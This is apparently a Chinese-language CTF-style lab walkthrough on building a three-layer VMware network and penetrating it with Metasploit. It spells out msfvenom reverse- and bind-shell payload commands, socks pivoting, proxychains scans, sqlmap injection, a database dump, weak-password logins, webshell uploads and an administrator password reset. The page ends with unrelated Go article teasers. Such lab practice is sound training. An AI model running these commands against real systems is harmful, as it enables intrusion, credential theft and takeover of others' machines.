百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

三层网络靶场搭建&MSF内网渗透

bigegpt 2024-08-02 11:07 13 浏览


在最近的CTF比赛中,综合靶场出现的次数越来越多,这种形式的靶场和真实的内网渗透很像,很贴合实际工作,但我们往往缺少多层网络的练习环境。本文通过VMware搭建3层网络,并通过msf进行内网渗透,涉及代理搭建,流量转发,端口映射等常见内网渗透技术。

网络拓扑

环境搭建

首先在虚拟机中新建3块网卡,选择仅主机模式

将kali设为第一层网络vmnet1

将第一层靶机设为双网卡vmnet1和vmnet2

将第二层靶机设置为双网卡:vmnet2和vmnet3:

将第三层靶机设为vmnet3:

至此,我们的3层网络环境就已经搭建完毕。

第一层靶机

Nmap探测一下,发现8080端口:

访问一下:

返现文件上传点,经测试没有任何过滤,可以直接上传任意文件,因此直接上传jsp一句话后门:

上传后返回文件路径,菜刀连接:

为了进一步做内网渗透,上传msf后门:

1、后门制作:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf

将shell.elf上传到第一层靶机192.168.59.129

2、MSF设置监听:

3、在第一层靶机运行shell.elf

Chmod 777 shell.elf

./shell.elf

4、Msf获得meterpreter,执行shell,查看网络配置,发现双网卡,第二层网络段为192.168.80.0/24

第二层靶机

首先利用第一层的meterpreter添加到第二层的路由:

run autoroute -s 192.168.80.0/24

然后利用msf进行第二层网络存活主机扫描:

use auxiliary/scanner/discovery/arp_sweep

发现第二层靶机 192.168.80.129。

接着利用msf搭建socks代理,好让攻击机直接打第二层网络:

use auxiliary/server/socks4a

然后在第一层网络配置相关socks4代理客户端:

Proxychain:

在配置文件/etc/proxychains.conf中添加:

socks4 192.168.59.128 9999

然后利用proxychans 启动nmap对第二层靶机进行扫描,这里注意一定要加上-Pn和-sT参数:

proxychains nmap -Pn -sT 192.168.80.129 -p1-1000

发现第二层主机开放22和80端口。

在Chrome中配置代理

访问第二层网络:

是一个typecho的 cms,尝试admin/admin等弱口令登陆后台,登陆成功:

个人信息处发现flag:

在设置中允许上传php

然后撰写文章,附件上传php webshell:

可以看到shell路径,用蚁剑连接,因为是第二层网络,所以得通过socks代理客户端去启动蚁剑,我用的是sockscap64:

在代理中配置代理服务器:

用蚁剑连接shell:

在网站根目录处发现flag

查看config.inc.php:

发现数据库口令123:

将数据库dump出来:

mysqldump -uroot -p123 typecho >/tmp/1.sql

在1.sql中发现flag:

第二层靶机还开放了22端口,尝试利用msf、hydra探测一下弱口令:

Hydra:

Msf:

use auxiliary/scanner/ssh/ssh_login

同样发现弱口令,同时msf可以直接获得一个meterpreter

获得flag:

在sockscap64中打开ssh客户端:

也可以利用root/123456登录,获得flag

同样,为了打进第三层,我们需要在第二层靶机上上传msf后门,

制作后门:

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4321 -f elf > shell1.elf

利用蚁剑上传,并在第二层靶机运行:

Chmod 777 ./shell1.elf

./shell1.elf

在msf上配置payload:

获得第二层meterpreter:

发现第三层网段192.168.226.0/24

然后利用这个meterpreter添加到第三层的网络路由:

run autoroute -s 192.168.226.0/24

在启用一个socks代理给第三层网络,端口开9998

然后在proxychains的配置文件中加上9998:

扫描一下第三层主机端口:

proxychains nmap -Pn -sT 192.168.226.129 -p1-1000

发现开放了80、445端口

第三层网络

在chrome 修改代理,端口改为9998

访问第三层网络

查询处存在SQL注入

抓包:

Proxychains 跑sqlmap

proxychains sqlmap -r test.txt

得到后台用户密码:admin/faka123

登录:

发现flag。接着在logo上传处发现任意文件上传:

直接上传木马,获得路径:

菜刀连接,网站根目录发现flag

发现网站开启了3389,同时是system权限:

直接修改administrator密码:

net user administrator 123456

再把第三层3389流量转发到代理服务器中:

访问远程桌面:

发现flag:

同时,该靶机开放445端口,试试永痕之蓝:


同样可以拿到shell。

至此,我们已经拿下3层网络中的全部机器。

相关推荐

Go语言泛型-泛型约束与实践(go1.7泛型)

来源:械说在Go语言中,Go泛型-泛型约束与实践部分主要探讨如何定义和使用泛型约束(Constraints),以及如何在实际开发中利用泛型进行更灵活的编程。以下是详细内容:一、什么是泛型约束?**泛型...

golang总结(golang实战教程)

基础部分Go语言有哪些优势?1简单易学:语法简洁,减少了代码的冗余。高效并发:内置强大的goroutine和channel,使并发编程更加高效且易于管理。内存管理:拥有自动垃圾回收机制,减少内...

Go 官宣:新版 Protobuf API(go pro版本)

原文作者:JoeTsai,DamienNeil和HerbieOng原文链接:https://blog.golang.org/a-new-go-api-for-protocol-buffer...

Golang开发的一些注意事项(一)(golang入门项目)

1.channel关闭后读的问题当channel关闭之后再去读取它,虽然不会引发panic,但会直接得到零值,而且ok的值为false。packagemainimport"...

golang 托盘菜单应用及打开系统默认浏览器

之前看到一个应用,用go语言编写,说是某某程序的windows图形化客户端,体验一下发现只是一个托盘,然后托盘菜单的控制面板功能直接打开本地浏览器访问程序启动的webserver网页完成gui相关功...

golang标准库每日一库之 io/ioutil

一、核心函数概览函数作用描述替代方案(Go1.16+)ioutil.ReadFile(filename)一次性读取整个文件内容(返回[]byte)os.ReadFileioutil.WriteFi...

文件类型更改器——GoLang 中的 CLI 工具

我是如何为一项琐碎的工作任务创建一个简单的工具的,你也可以上周我开始玩GoLang,它是一种由Google制作的类C编译语言,非常轻量和快速,事实上它经常在Techempower的基准测...

Go (Golang) 中的 Channels 简介(golang channel长度和容量)

这篇文章重点介绍Channels(通道)在Go中的工作方式,以及如何在代码中使用它们。在Go中,Channels是一种编程结构,它允许我们在代码的不同部分之间移动数据,通常来自不同的goro...

Golang引入泛型:Go将Interface「」替换为“Any”

现在Go将拥有泛型:Go将Interface{}替换为“Any”,这是一个类型别名:typeany=interface{}这会引入了泛型作好准备,实际上,带有泛型的Go1.18Beta...

一文带你看懂Golang最新特性(golang2.0特性)

作者:腾讯PCG代码委员会经过十余年的迭代,Go语言逐渐成为云计算时代主流的编程语言。下到云计算基础设施,上到微服务,越来越多的流行产品使用Go语言编写。可见其影响力已经非常强大。一、Go语言发展历史...

Go 每日一库之 java 转 go 遇到 Apollo?让 agollo 来平滑迁移

以下文章来源于GoOfficialBlog,作者GoOfficialBlogIntroductionagollo是Apollo的Golang客户端Apollo(阿波罗)是携程框架部门研...

Golang使用grpc详解(golang gcc)

gRPC是Google开源的一种高性能、跨语言的远程过程调用(RPC)框架,它使用ProtocolBuffers作为序列化工具,支持多种编程语言,如C++,Java,Python,Go等。gR...

Etcd服务注册与发现封装实现--golang

服务注册register.gopackageregisterimport("fmt""time"etcd3"github.com/cor...

Golang:将日志以Json格式输出到Kafka

在上一篇文章中我实现了一个支持Debug、Info、Error等多个级别的日志库,并将日志写到了磁盘文件中,代码比较简单,适合练手。有兴趣的可以通过这个链接前往:https://github.com/...

如何从 PHP 过渡到 Golang?(php转golang)

我是PHP开发者,转Go两个月了吧,记录一下使用Golang怎么一步步开发新项目。本着有坑填坑,有错改错的宗旨,从零开始,开始学习。因为我司没有专门的Golang大牛,所以我也只能一步步自己去...